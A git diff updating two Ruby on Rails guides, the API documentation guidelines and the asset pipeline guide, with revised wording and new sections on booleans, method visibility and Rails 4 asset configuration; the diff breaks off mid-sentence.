b/guides/source/api_documentation_guidelines.md index d0499878da..d481700709 100644 --- a/guides/source/api_documentation_guidelines.md +++ b/guides/source/api_documentation_guidelines.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + API Documentation Guidelines ============================ @@ -13,7 +15,19 @@ After reading this guide, you will know: RDoc ---- -The Rails API documentation is generated with RDoc. Please consult the documentation for help with the [markup](http://rdoc.rubyforge.org/RDoc/Markup.html), and also take into account these [additional directives](http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html). +The [Rails API documentation](http://api.rubyonrails.org) is generated with +[RDoc](http://docs.seattlerb.org/rdoc/). + +```bash + bundle exec rake rdoc +``` + +Resulting HTML files can be found in the ./doc/rdoc directory. + +Please consult the RDoc documentation for help with the +[markup](http://docs.seattlerb.org/rdoc/RDoc/Markup.html), +and also take into account these [additional +directives](http://docs.seattlerb.org/rdoc/RDoc/Parser/Ruby.html). Wording ------- @@ -25,7 +39,7 @@ Write in present tense: "Returns a hash that...", rather than "Returned a hash t Start comments in upper case. Follow regular punctuation rules: ```ruby -# Declares an attribute reader backed by an internally-named +# Declares an attribute reader backed by an internally-named # instance variable. def attr_internal_reader(*attrs) ... @@ -42,10 +56,32 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database". +Prefer wordings that avoid "you"s and "your"s. For example, instead of + +```markdown +If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods. +``` + +use this style: + +```markdown +If `return` is needed it is recommended to explicitly define a method. +``` + +That said, when using pronouns in reference to a hypothetical person, such as "a +user with a session cookie", gender neutral pronouns (they/their/them) should be +used. Instead of: + +* he or she... use they. +* him or her... use them. +* his or her... use their. +* his or hers... use theirs. +* himself or herself... use themselves. + English ------- -Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc).. See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences). +Please use American English (*color*, *center*, *modularize*, etc). See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences). Example Code ------------ @@ -57,7 +93,7 @@ Use two spaces to indent chunks of code--that is, for markup purposes, two space Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs: ```ruby -# Converts a collection of elements into a formatted string by +# Converts a collection of elements into a formatted string by # calling +to_s+ on all elements and joining them. # # Blog.all.to_formatted_s # => "First PostSecond PostThird Post" @@ -88,14 +124,14 @@ The results of expressions follow them and are introduced by "# => ", vertically If a line is too long, the comment may be placed on the next line: ```ruby -# label(:post, :title) -# # => <label for="post_title">Title</label> +# label(:article, :title) +# # => <label for="article_title">Title</label> # -# label(:post, :title, "A short title") -# # => <label for="post_title">A short title</label> +# label(:article, :title, "A short title") +# # => <label for="article_title">A short title</label> # -# label(:post, :title, "A short title", class: "title_label") -# # => <label for="post_title" class="title_label">A short title</label> +# label(:article, :title, "A short title", class: "title_label") +# # => <label for="article_title" class="title_label">A short title</label> ``` Avoid using any printing methods like `puts` or `p` for that purpose. @@ -106,8 +142,55 @@ On the other hand, regular comments do not use an arrow: # polymorphic_url(record) # same as comment_url(record) ``` -Filenames ---------- +Booleans +-------- + +In predicates and flags prefer documenting boolean semantics over exact values. + +When "true" or "false" are used as defined in Ruby use regular font. The +singletons `true` and `false` need fixed-width font. Please avoid terms like +"truthy", Ruby defines what is true and false in the language, and thus those +words have a technical meaning and need no substitutes. + +As a rule of thumb, do not document singletons unless absolutely necessary. That +prevents artificial constructs like `!!` or ternaries, allows refactors, and the +code does not need to rely on the exact values returned by methods being called +in the implementation. + +For example: + +```markdown +`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default +``` + +the user does not need to know which is the actual default value of the flag, +and so we only document its boolean semantics. + +An example with a predicate: + +```ruby +# Returns true if the collection is empty. +# +# If the collection has been loaded +# it is equivalent to <tt>collection.size.zero?</tt>. If the +# collection has not been loaded, it is equivalent to +# <tt>collection.exists?</tt>. If the collection has not already been +# loaded and you are going to fetch the records anyway it is better to +# check <tt>collection.length.zero?</tt>. +def empty? + if loaded? + size.zero? + else + @target.blank? && !scope.exists? + end +end +``` + +The API is careful not to commit to any particular value, the method has +predicate semantics, that's enough. + +File Names +---------- As a rule of thumb, use filenames relative to the application root: @@ -141,7 +224,17 @@ class Array end ``` -WARNING: Using a pair of `+...+` for fixed-width font only works with **words**; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc. +WARNING: Using `+...+` for fixed-width font only works with simple content like +ordinary method names, symbols, paths (with forward slashes), etc. Please use +`<tt>...</tt>` for everything else, notably class or module names with a +namespace as in `<tt>ActiveRecord::Base</tt>`. + +You can quickly test the RDoc output with the following command: + +``` +$ echo "+:to_param+" | rdoc --pipe +#=> <p><code>:to_param</code></p> +``` ### Regular Font @@ -172,7 +265,7 @@ In lists of options, parameters, etc. use a hyphen between the item and its desc # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+. ``` -The description starts in upper case and ends with a full stop—it's standard English. +The description starts in upper case and ends with a full stop-it's standard English. Dynamically Generated Methods ----------------------------- @@ -207,3 +300,64 @@ self.class_eval %{ end } ``` + +Method Visibility +----------------- + +When writing documentation for Rails, it's important to understand the difference between public user-facing API vs internal API. + +Rails, like most libraries, uses the private keyword from Ruby for defining internal API. However, public API follows a slightly different convention. Instead of assuming all public methods are designed for user consumption, Rails uses the `:nodoc:` directive to annotate these kinds of methods as internal API. + +This means that there are methods in Rails with `public` visibility that aren't meant for user consumption. + +An example of this is `ActiveRecord::Core::ClassMethods#arel_table`: + +```ruby +module ActiveRecord::Core::ClassMethods + def arel_table #:nodoc: + # do some magic.. + end +end +``` + +If you thought, "this method looks like a public class method for `ActiveRecord::Core`", you were right. But actually the Rails team doesn't want users to rely on this method. So they mark it as `:nodoc:` and it's removed from public documentation. The reasoning behind this is to allow the team to change these methods according to their internal needs across releases as they see fit. The name of this method could change, or the return value, or this entire class may disappear; there's no guarantee and so you shouldn't depend on this API in your plugins or applications. Otherwise, you risk your app or gem breaking when you upgrade to a newer release of Rails. + +As a contributor, it's important to think about whether this API is meant for end-user consumption. The Rails team is committed to not making any breaking changes to public API across releases without going through a full deprecation cycle. It's recommended that you `:nodoc:` any of your internal methods/classes unless they're already private (meaning visibility), in which case it's internal by default. Once the API stabilizes the visibility can change, but changing public API is much harder due to backwards compatibility. + +A class or module is marked with `:nodoc:` to indicate that all methods are internal API and should never be used directly. + +If you come across an existing `:nodoc:` you should tread lightly. Consider asking someone from the core team or author of the code before removing it. This should almost always happen through a pull request instead of the docrails project. + +A `:nodoc:` should never be added simply because a method or class is missing documentation. There may be an instance where an internal public method wasn't given a `:nodoc:` by mistake, for example when switching a method from private to public visibility. When this happens it should be discussed over a PR on a case-by-case basis and never committed directly to docrails. + +To summarize, the Rails team uses `:nodoc:` to mark publicly visible methods and classes for internal use; changes to the visibility of API should be considered carefully and discussed over a pull request first. + +Regarding the Rails Stack +------------------------- + +When documenting parts of Rails API, it's important to remember all of the +pieces that go into the Rails stack. + +This means that behavior may change depending on the scope or context of the +method or class you're trying to document. + +In various places there is different behavior when you take the entire stack +into account, one such example is +`ActionView::Helpers::AssetTagHelper#image_tag`: + +```ruby +# image_tag("icon.png") +# # => <img alt="Icon" src="/assets/icon.png" /> +``` + +Although the default behavior for `#image_tag` is to always return +`/images/icon.png`, we take into account the full Rails stack (including the +Asset Pipeline) we may see the result seen above. + +We're only concerned with the behavior experienced when using the full default +Rails stack. + +In this case, we want to document the behavior of the _framework_, and not just +this specific method. + +If you have a question on how the Rails team handles certain API, don't hesitate to open a ticket or send a patch to the [issue tracker](https://github.com/rails/rails/issues). diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md index b302ef76c6..64d1c31083 100644 --- a/guides/source/asset_pipeline.md +++ b/guides/source/asset_pipeline.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + The Asset Pipeline ================== @@ -5,9 +7,9 @@ This guide covers the asset pipeline. After reading this guide, you will know: -* How to understand what the asset pipeline is and what it does. +* What the asset pipeline is and what it does. * How to properly organize your application assets. -* How to understand the benefits of the asset pipeline. +* The benefits of the asset pipeline. * How to add a pre-processor to the pipeline. * How to package assets with a gem. @@ -16,44 +18,97 @@ After reading this guide, you will know: What is the Asset Pipeline? --------------------------- -The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB. +The asset pipeline provides a framework to concatenate and minify or compress +JavaScript and CSS assets. It also adds the ability to write these assets in +other languages and pre-processors such as CoffeeScript, Sass and ERB. + +The asset pipeline is technically no longer a core feature of Rails 4, it has +been extracted out of the framework into the +[sprockets-rails](https://github.com/rails/sprockets-rails) gem. + +The asset pipeline is enabled by default. -Making the asset pipeline a core feature of Rails means that all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011. +You can disable the asset pipeline while creating a new application by +passing the `--skip-sprockets` option. + +```bash +rails new appname --skip-sprockets +``` -The asset pipeline is enabled by default. It can be disabled in `config/application.rb` by putting this line inside the application class definition: +Rails 4 automatically adds the `sass-rails`, `coffee-rails` and `uglifier` +gems to your Gemfile, which are used by Sprockets for asset compression: ```ruby -config.assets.enabled = false +gem 'sass-rails' +gem 'uglifier' +gem 'coffee-rails' ``` -You can also disable the asset pipeline while creating a new application by passing the `--skip-sprockets` option. +Using the `--skip-sprockets` option will prevent Rails 4 from adding +`sass-rails` and `uglifier` to Gemfile, so if you later want to enable +the asset pipeline you will have to add those gems to your Gemfile. Also, +creating an application with the `--skip-sprockets` option will generate +a slightly different `config/application.rb` file, with a require statement +for the sprockets railtie that is commented-out. You will have to remove +the comment operator on that line to later enable the asset pipeline: -```bash -rails new appname --skip-sprockets +```ruby +# require "sprockets/railtie" ``` -You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline. +To set asset compression methods, set the appropriate configuration options +in `production.rb` - `config.assets.css_compressor` for your CSS and +`config.assets.js_compressor` for your JavaScript: +```ruby +config.assets.css_compressor = :yui +config.assets.js_compressor = :uglifier +``` -### Main Features +NOTE: The `sass-rails` gem is automatically used for CSS compression if included +in Gemfile and no `config.assets.css_compressor` option is set. -The first feature of the pipeline is to concatenate assets. This is important in a production environment, because it can reduce the number of requests that a browser must make to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application. -Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing `:cache => true` at the end of the `javascript_include_tag` and `stylesheet_link_tag` methods. But this technique has some limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries. +### Main Features + +The first feature of the pipeline is to concatenate assets, which can reduce the +number of requests that a browser makes to render a web page. Web browsers are +limited in the number of requests that they can make in parallel, so fewer +requests can mean faster loading for your application. -Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master `.js` file and all CSS files into one master `.css` file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents. +Sprockets concatenates all JavaScript files into one master `.js` file and all +CSS files into one master `.css` file. As you'll learn later in this guide, you +can customize this strategy to group files any way you like. In production, +Rails inserts an MD5 fingerprint into each filename so that the file is cached +by the web browser. You can invalidate the cache by altering this fingerprint, +which happens automatically whenever you change the file contents. -The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. +The second feature of the asset pipeline is asset minification or compression. +For CSS files, this is done by removing whitespace and comments. For JavaScript, +more complex processes can be applied. You can choose from a set of built in +options or specify your own. -The third feature of the asset pipeline is that it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default. +The third feature of the asset pipeline is it allows coding assets via a +higher-level language, with precompilation down to the actual assets. Supported +languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by +default. ### What is Fingerprinting and Why Should I Care? -Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates. +Fingerprinting is a technique that makes the name of a file dependent on the +contents of the file. When the file contents change, the filename is also +changed. For content that is static or infrequently changed, this provides an +easy way to tell whether two versions of a file are identical, even across +different servers or deployment dates. -When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as _cache busting_. +When a filename is unique and based on its content, HTTP headers can be set to +encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, +or in web browsers) to keep their own copy of the content. When the content is +updated, the fingerprint will change. This will cause the remote clients to +request a new copy of the content. This is generally known as _cache busting_. -The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file `global.css` could be renamed with an MD5 digest of its contents: +The technique sprockets uses for fingerprinting is to insert a hash of the +content into the name, usually at the end. For example a CSS file `global.css` ``` global-908e25f4bf641868d8683022a5b62f54.css @@ -61,7 +116,8 @@ global-908e25f4bf641868d8683022a5b62f54.css This is the strategy adopted by the Rails asset pipeline. -Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this: +Rails' old strategy was to append a date-based query string to every asset linked +with a built-in helper. In the source the generated code looked like this: ``` /stylesheets/global.css?1309495796 @@ -69,68 +125,130 @@ Rails' old strategy was to append a date-based query string to every asset linke The query string strategy has several disadvantages: -1. **Not all caches will reliably cache content where the filename only differs by query parameters**<br /> - [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation. +1. **Not all caches will reliably cache content where the filename only differs by +query parameters** + + [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), + "...avoiding a querystring for cacheable resources". He found that in this +case 5-20% of requests will not be cached. Query strings in particular do not +work at all with some CDNs for cache invalidation. + +2. **The file name can change between nodes in multi-server environments.** -2. **The file name can change between nodes in multi-server environments.**<br /> - The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request. -3. **Too much cache invalidation**<br /> - When static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. + The default query string in Rails 2.x is based on the modification time of +the files. When assets are deployed to a cluster, there is no guarantee that the +timestamps will be the same, resulting in different values being used depending +on which server handles the request. -Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content. +3. **Too much cache invalidation** -Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the `config.assets.digest` option. + When static assets are deployed with each new release of code, the mtime +(time of last modification) of _all_ these files changes, forcing all remote +clients to fetch them again, even when the content of those assets has not changed. + +Fingerprinting fixes these problems by avoiding query strings, and by ensuring +that filenames are consistent based on their content. + +Fingerprinting is enabled by default for production and disabled for all other +environments. You can enable or disable it in your configuration through the +`config.assets.digest` option. More reading: * [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html) -* [Revving Filenames: don’t use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/) +* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/) How to Use the Asset Pipeline ----------------------------- -In previous versions of Rails, all assets were located in subdirectories of `public` such as `images`, `javascripts` and `stylesheets`. With the asset pipeline, the preferred location for these assets is now the `app/assets` directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem. +In previous versions of Rails, all assets were located in subdirectories of +`public` such as `images`, `javascripts` and `stylesheets`. With the asset +pipeline, the preferred location for these assets is now the `app/assets` +directory. Files in this directory are served by the Sprockets middleware. -Assets can still be placed in the `public` hierarchy. Any assets under `public` will be served as static files by the application or web server. You should use `app/assets` for files that must undergo some pre-processing before they are served. +Assets can still be placed in the `public` hierarchy. Any assets under `public` +will be served as static files by the application or web server when +`config.serve_static_files` is set to true. You should use `app/assets` for +files that must undergo some pre-processing before they are served. -In production, Rails precompiles these files to `public/assets` by default. The precompiled copies are then served as static assets by the web server. The files in `app/assets` are never served directly in production. +In production, Rails precompiles these files to `public/assets` by default. The +precompiled copies are then served as static assets by the web server. The files +in `app/assets` are never served directly in production. ### Controller Specific Assets -When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) for that controller. +When you generate a scaffold or a controller, Rails also generates a JavaScript +file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a +Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) +for that controller. Additionally, when generating a scaffold, Rails generates +the file scaffolds.css (or scaffolds.scss if `sass-rails` is in the +`Gemfile`.) + +For example, if you generate a `ProjectsController`, Rails will also add a new +file at `app/assets/javascripts/projects.coffee` and another at +`app/assets/stylesheets/projects.scss`. By default these files will be ready +to use by your application immediately using the `require_tree` directive. See +[Manifest Files and Directives](#manifest-files-and-directives) for more details +on require_tree. -For example, if you generate a `ProjectsController`, Rails will also add a new file at `app/assets/javascripts/projects.js.coffee` and another at `app/assets/stylesheets/projects.css.scss`. By default these files will be ready to use by your application immediately using the `require_tree` directive. See [Manifest Files and Directives](#manifest-files-and-directives) for more details on require_tree. +You can also opt to include controller specific stylesheets and JavaScript files +only in their respective controllers using the following: -You can also opt to include controller specific stylesheets and JavaScript files only in their respective controllers using the following: `<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag params[:controller] %>`. Ensure that you are not using the `require_tree` directive though, as this will result in your assets being included more than once. +`<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag +params[:controller] %>` -WARNING: When using asset precompilation (the production default), you will need to ensure that your controller assets will be precompiled when loading them on a per page basis. By default .coffee and .scss files will not be precompiled on their own. This will result in false positives during development as these files will work just fine since assets will be compiled on the fly. When running in production however, you will see 500 errors since live compilation is turned off by default. See [Precompiling Assets](#precompiling-assets) for more information on how precompiling works. +When doing this, ensure you are not using the `require_tree` directive, as that +will result in your assets being included more than once. -NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check [ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all supported JavaScript runtimes. +WARNING: When using asset precompilation, you will need to ensure that your +controller assets will be precompiled when loading them on a per page basis. By +default .coffee and .scss files will not be precompiled on their own. See +[Precompiling Assets](#precompiling-assets) for more information on how +precompiling works. -You can also disable the generation of asset files when generating a controller by adding the following to your `config/application.rb` configuration: +NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript. +If you are using Mac OS X or Windows, you have a JavaScript runtime installed in +your operating system. Check [ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all supported JavaScript runtimes. + +You can also disable generation of controller specific asset files by adding the +following to your `config/application.rb` configuration: ```ruby -config.generators do |g| - g.assets false -end + config.generators do |g| + g.assets false + end ``` ### Asset Organization -Pipeline assets can be placed inside an application in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. +Pipeline assets can be placed inside an application in one of three locations: +`app/assets`, `lib/assets` or `vendor/assets`. + +* `app/assets` is for assets that are owned by the application, such as custom +images, JavaScript files or stylesheets. -* `app/assets` is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets. +* `lib/assets` is for your own libraries' code that doesn't really fit into the +scope of the application or those libraries which are shared across applications. -* `lib/assets` is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications. +* `vendor/assets` is for assets that are owned by outside entities, such as +code for JavaScript plugins and CSS frameworks. Keep in mind that third party +code with references to other files also processed by the asset Pipeline (images, +stylesheets, etc.), will need to be rewritten to use helpers like `asset_path`. -* `vendor/assets` is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks. +WARNING: If you are upgrading from Rails 3, please take into account that assets +under `lib/assets` or `vendor/assets` are available for inclusion via the +application manifests but no longer part of the precompile array. See +[Precompiling Assets](#precompiling-assets) for guidance. #### Search Paths -When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it. +When a file is referenced from a manifest or a helper, Sprockets searches the +three default asset locations for it. -The default locations are: `app/assets/images` and the subdirectories `javascripts` and `stylesheets` in all three asset locations, but these subdirectories are not special. Any path under `assets/*` will be searched. +The default locations are: the `images`, `javascripts` and `stylesheets` +directories under the `app/assets` folder, but these subdirectories +are not special - any path under `assets/*` will be searched. For example, these files: @@ -162,72 +280,113 @@ is referenced as: //= require sub/something ``` -You can view the search path by inspecting `Rails.application.config.assets.paths` in the Rails console. +You can view the search path by inspecting +`Rails.application.config.assets.paths` in the Rails console. -Besides the standard `assets/*` paths, additional (fully qualified) paths can be added to the pipeline in `config/application.rb`. For example: +Besides the standard `assets/*` paths, additional (fully qualified) paths can be +added to the pipeline in `config/application.rb`. For example: ```ruby config.assets.paths << Rails.root.join("lib", "videoplayer", "flash") ``` -Paths are traversed in the order that they occur in the search path. By default, this means the files in `app/assets` take precedence, and will mask corresponding paths in `lib` and `vendor`. +Paths are traversed in the order they occur in the search path. By default, +this means the files in `app/assets` take precedence, and will mask +corresponding paths in `lib` and `vendor`. -It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment. +It is important to note that files you want to reference outside a manifest must +be added to the precompile array or they will not be available in the production +environment. #### Using Index Files -Sprockets uses files named `index` (with the relevant extensions) for a special purpose. +Sprockets uses files named `index` (with the relevant extensions) for a special +purpose. -For example, if you have a jQuery library with many modules, which is stored in `lib/assets/library_name`, the file `lib/assets/library_name/index.js` serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple `require_tree` directive. +For example, if you have a jQuery library with many modules, which is stored in +`lib/assets/javascripts/library_name`, the file `lib/assets/javascripts/library_name/index.js` serves as +the manifest for all files in this library. This file could include a list of +all the required files in order, or a simple `require_tree` directive. -The library as a whole can be accessed in the site's application manifest like so: +The library as a whole can be accessed in the application manifest like so: ```js //= require library_name ``` -This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere. +This simplifies maintenance and keeps things clean by allowing related code to +be grouped before inclusion elsewhere. ### Coding Links to Assets -Sprockets does not add any new methods to access your assets - you still use the familiar `javascript_include_tag` and `stylesheet_link_tag`. +Sprockets does not add any new methods to access your assets - you still use the +familiar `javascript_include_tag` and `stylesheet_link_tag`: ```erb -<%= stylesheet_link_tag "application" %> +<%= stylesheet_link_tag "application", media: "all" %> <%= javascript_include_tag "application" %> ``` -In regular views you can access images in the `assets/images` directory like this: +If using the turbolinks gem, which is included by default in Rails 4, then +include the 'data-turbolinks-track' option which causes turbolinks to check if +an asset has been updated and if so loads it into the page: + +```erb +<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => true %> +<%= javascript_include_tag "application", "data-turbolinks-track" => true %> +``` + +In regular views you can access images in the `public/assets/images` directory +like this: ```erb <%= image_tag "rails.png" %> ``` -Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at `public/assets/rails.png` it is served by the web server. +Provided that the pipeline is enabled within your application (and not disabled +in the current environment context), this file is served by Sprockets. If a file +exists at `public/assets/rails.png` it is served by the web server. -Alternatively, a request for a file with an MD5 hash such as `public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same way. How these hashes are generated is covered in the [In Production](#in-production) section later on in this guide. +Alternatively, a request for a file with an MD5 hash such as +`public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same +way. How these hashes are generated is covered in the [In +Production](#in-production) section later on in this guide. -Sprockets will also look through the paths specified in `config.assets.paths` which includes the standard application paths and any path added by Rails engines. +Sprockets will also look through the paths specified in `config.assets.paths`, +which includes the standard application paths and any paths added by Rails +engines. -Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag: +Images can also be organized into subdirectories if required, and then can be +accessed by specifying the directory's name in the tag: ```erb <%= image_tag "icons/rails.png" %> ``` -WARNING: If you're precompiling your assets (see [In Production](#in-production) below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using `image_tag` and the other helpers with user-supplied data. +WARNING: If you're precompiling your assets (see [In Production](#in-production) +below), linking to an asset that does not exist will raise an exception in the +calling page. This includes linking to a blank string. As such, be careful using +`image_tag` and the other helpers with user-supplied data. #### CSS and ERB -The asset pipeline automatically evaluates ERB. This means that if you add an `erb` extension to a CSS asset (for example, `application.css.erb`), then helpers like `asset_path` are available in your CSS rules: +The asset pipeline automatically evaluates ERB. This means if you add an +`erb` extension to a CSS asset (for example, `application.css.erb`), then +helpers like `asset_path` are available in your CSS rules: ```css .class { background-image: url(<%= asset_path 'image.png' %>) } ``` -This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as `app/assets/images/image.png`, which would be referenced here. If this image is already available in `public/assets` as a fingerprinted file, then that path is referenced. +This writes the path to the particular asset being referenced. In this example, +it would make sense to have an image in one of the asset load paths, such as +`app/assets/images/image.png`, which would be referenced here. If this image is +already available in `public/assets` as a fingerprinted file, then that path is +referenced. -If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) — a method of embedding the image data directly into the CSS file — you can use the `asset_data_uri` helper. +If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) - +a method of embedding the image data directly into the CSS file - you can use +the `asset_data_uri` helper. ```css #logo { background: url(<%= asset_data_uri 'logo.png' %>) } @@ -239,29 +398,33 @@ Note that the closing tag cannot be of the style `-%>`. #### CSS and Sass -When using the asset pipeline, paths to assets must be re-written and `sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet. +When using the asset pipeline, paths to assets must be re-written and +`sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, +underscored in Ruby) for the following asset classes: image, font, video, audio, +JavaScript and stylesheet. * `image-url("rails.png")` becomes `url(/assets/rails.png)` * `image-path("rails.png")` becomes `"/assets/rails.png"`. -The more generic form can also be used but the asset path and class must both be specified: +The more generic form can also be used: -* `asset-url("rails.png", image)` becomes `url(/assets/rails.png)` -* `asset-path("rails.png", image)` becomes `"/assets/rails.png"` +* `asset-url("rails.png")` becomes `url(/assets/rails.png)` +* `asset-path("rails.png")` becomes `"/assets/rails.png"` #### JavaScript/CoffeeScript and ERB -If you add an `erb` extension to a JavaScript asset, making it something such as `application.js.erb`, then you can use the `asset_path` helper in your JavaScript code: +If you add an `erb` extension to a JavaScript asset, making it something such as +`application.js.erb`, you can then use the `asset_path` helper in your +JavaScript code: ```js -$('#logo').attr({ - src: "<%= asset_path('logo.png') %>" -}); +$('#logo').attr({ src: "<%= asset_path('logo.png') %>" }); ``` This writes the path to the particular asset being referenced. -Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` extension (e.g., `application.js.coffee.erb`): +Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` +extension (e.g., `application.coffee.erb`): ```js $('#logo').attr src: "<%= asset_path('logo.png') %>" @@ -269,10 +432,19 @@ $('#logo').attr src: "<%= asset_path('logo.png') %>" ### Manifest Files and Directives -Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ — instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if `Rails.application.config.assets.compress` is true). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests. Compression also reduces the file size enabling the browser to download it faster. +Sprockets uses manifest files to determine which assets to include and serve. +These manifest files contain _directives_ - instructions that tell Sprockets +which files to require in order to build a single CSS or JavaScript file. With +these directives, Sprockets loads the files specified, processes them if +necessary, concatenates them into one single file and then compresses them (if +`Rails.application.config.assets.compress` is true). By serving one file rather +than many, the load time of pages can be greatly reduced because the browser +makes fewer requests. Compression also reduces file size, enabling the +browser to download them faster. -For example, a new Rails application includes a default `app/assets/javascripts/application.js` file which contains the following lines: +For example, a new Rails 4 application includes a default +`app/assets/javascripts/application.js` file containing the following lines: ```js // ... @@ -281,30 +453,63 @@ For example, a new Rails application includes a default `app/assets/javascripts/ //= require_tree . ``` -In JavaScript files, the directives begin with `//=`. In this case, the file is using the `require` and the `require_tree` directives. The `require` directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a `.js` file when done from within a `.js` file. - -The `require_tree` directive tells Sprockets to recursively include _all_ JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the `require_directory` directive which includes all JavaScript files only in the directory specified, without recursion. - -Directives are processed top to bottom, but the order in which files are included by `require_tree` is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of `require` directives prevents files from being included twice in the output. - -Rails also creates a default `app/assets/stylesheets/application.css` file which contains these lines: +In JavaScript files, Sprockets directives begin with `//=`. In the above case, +the file is using the `require` and the 